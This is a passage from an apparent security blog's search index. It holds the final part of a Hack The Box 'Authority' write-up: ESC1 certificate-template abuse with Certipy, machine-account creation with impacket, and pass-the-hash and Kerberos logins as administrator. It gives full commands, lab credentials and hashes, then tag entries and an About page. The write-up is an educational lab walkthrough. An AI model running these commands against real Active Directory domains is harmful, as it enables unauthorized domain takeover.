'lDaP_1n_th3_cle4r!'\nPrivilege Escalation Administrator Seeing that I can access WinRM I used evil-winrm to do so. evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'\nI did some manual enumeration for possible priv-esc vectors but I wasn\u0026rsquo;t able to find anything of use. I looked through the PWM files, SMB shares and user\u0026rsquo;s files. I downloaded PWM and its config locally, hoping to decrypt the blob with my master key, but couldn’t do it without setting up the full software.\nCertipy I thought of running WinPEAS, BloodHound and Certipy so I started with the latter. certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -vulnerable -target 10.129.20.218 -dc-ip 10.129.20.218 -stdout\nThe output showed me that there is an ESC1 vulnerable template called CorpVPN. ESC1 is the first of a number of escalation attacks to ADCS. This one simply enabled you to pretend to be someone else. You request a certificate and choose the identity inside of it like Admin. The CA trusts you and signs it, so you get a valid login as that user. Requirements for it to work:\nEnrollee Supplies Subject = True Client Authentication = True (or a few others) \u0026ldquo;User Enrollable Principals\u0026rdquo; showing a group your user is a part of Requires Manager Approval = False Authorized Signatures Required = 0 I tried to run it with the existing user like this certipy req -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip '10.129.20.218' -target 'AUTHORITY-CA' -ca 'authority.authority.htb' -template 'CorpVPN' -upn 'administrator@authority.htb' -sid 'S-1-5-21-622327497-3269355298-2248959698-500' but I just later noticed that the user is not a part of any group the template is assigned for.\nThe only group that is not highly-privileged and can use this template is Domain Computers. Often domain users are able to create a given number of computer hosts which is dictated by a quota parameter - you can quickly check it with netexec.\nparrot@parrot (~/Desktop): netexec ldap 10.129.20.218 -u \u0026#39;svc_ldap\u0026#39; -p \u0026#39;lDaP_1n_th3_cle4r!\u0026#39; -M maq LDAP 10.129.20.218 389 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) LDAP 10.129.20.218 389 AUTHORITY [+] authority.htb\\svc_ldap:lDaP_1n_th3_cle4r! MAQ 10.129.20.218 389 AUTHORITY [*] Getting the MachineAccountQuota MAQ 10.129.20.218 389 AUTHORITY MachineAccountQuota: 10 Note: this method works only if you use ldap with netexec.\naddcomputer.py This shows us that svc_ldap can add 10 machines total - let\u0026rsquo;s add one with impacket. addcomputer.py authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -dc-ip 10.129.20.218 -computer-name azaeir$ -computer-pass azaeir.\nLet\u0026rsquo;s check if it was added correctly on the host with Get-ADObject -Filter 'Name -eq \u0026quot;azaeir\u0026quot;' -Properties *.\nAssuming, computer account is in Domain Computers group by default we can now run the edited certipy request. Weirdly enough I had a lot of trouble getting the .pfx file still. After a lot of troubleshooting it turns out that i had to specify -method LDAPS in my addcomputer.py command for it to work like so:\naddcomputer.py authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -method LDAPS -dc-ip 10.129.20.218 -computer-name azaeir1$ -computer-pass azaeir I assume this could be because normal computer account creation uses SAMR and when I specify LDAPs if provides proper attributes and trust behavior is set correctly for certipy - just a theory. Both methods added the account to the Domain Computers group.\nAnyway, now I could generate that administrator file. certipy req -username 'azaeir1$' -password azaeir -ca AUTHORITY-CA -dc-ip 10.129.20.218 -template CorpVPN -upn administrator@authority.htb -dns authority.htb -debug\nThis command also works certipy req -u 'azaeir1$@authority.htb' -p 'azaeir' -dc-ip '10.129.20.218' -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb' -target authority.authority.htb -target-ip 10.129.20.218\nI adjusted my time using sudo ntpdate authority.htb and ran certipy auth -pfx administrator.pfx -dc-ip 10.129.20.218 to get the TGT as well as NTLM hash.\nTGT: administrator.ccache NTLM: aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed As both Kerberos and NTLM are allowed on the host we have two ways to authenticate. With NTLM we get the NT hash and run evil-winrm -i authority.htb -u administrator -H 6961f422924da90a6928197429eea4ed\nWith Kerberos:\nCheck if you don\u0026rsquo;t have any unexpected tickets assigned with klist Change the kerberos cache you\u0026rsquo;re using with export KRB5CCNAME=administrator.ccache and double-check if it worked with echo $KRB5CCNAME and klist run one of impacket tools that suits the ports you have access impacket-wmiexec -k -no-pass AUTHORITY.HTB/Administrator@authority.authority.htb Closing Thoughts Authority is an interesting take on Windows and Active Directory attacks, it demonstrates a mix of known techniques and a niche pathways that I was not familiar with. It took a seemingly trivial AD privilege escalation and introduced a number of fun challenges that made the box interesting at each part of completion.\n","date":"02.04.2026","externalUrl":null,"permalink":"/posts/htb/authority/","section":"Posts","summary":"Authority is an interesting take on Windows and Active Directory attacks, it demonstrates a mix of known techniques and a niche pathways that I was not familiar with. It took a seemengly trivial AD privilege escalation and introduced a number of fun challenges that made the box interesting at each part of completion.","title":"Authority","type":"posts"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/dns/","section":"Tags","summary":"","title":"Dns","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/http/","section":"Tags","summary":"","title":"Http","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/impacket/","section":"Tags","summary":"","title":"Impacket","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/impacket-wmiexec/","section":"Tags","summary":"","title":"Impacket-Wmiexec","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/ldap/","section":"Tags","summary":"","title":"Ldap","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/ldap-signing/","section":"Tags","summary":"","title":"Ldap-Signing","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/ntlm/","section":"Tags","summary":"","title":"Ntlm","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/pass-the-hash/","section":"Tags","summary":"","title":"Pass-the-Hash","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/rpc/","section":"Tags","summary":"","title":"Rpc","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"Smb","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/ticket-abuse/","section":"Tags","summary":"","title":"Ticket-Abuse","type":"tags"},{"content":"","date":"02.04.2026","externalUrl":null,"permalink":"/tags/tomcat/","section":"Tags","summary":"","title":"Tomcat","type":"tags"},{"content":"Hey, name\u0026rsquo;s Emil,\nI’m a cybersecurity specialist by day, and an aspiring penetration tester by night.\nI created this blog to share my learning process, discoveries, and nuances of the cybersecurity world through write-ups, cheat sheets, and practical tips. My goal is to provide no-fluff, high-quality content that’s easy to understand.\nI want to create a quiet learning space that is rid of ads and free of subscriptions, written for people, not search engines.”\nOutside of cyberspace, I’m a big animal person. I love animating, playing D\u0026amp;D, and I also enjoy basketball and camping.\nI\u0026rsquo;m always open to chat so if you have any questions, suggestions or just want to chit-chat - really - feel free to reach out.\nI might write about other topics in the future, but for now my daily caffeine intake limit is solely used up by cybersecurity.\n","date":"30.03.2026","externalUrl":null,"permalink":"/about/","section":"Through cybersecurity, one oops at a time","summary":"","title":"Through cybersecurity, one oops at a time","type":"about"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]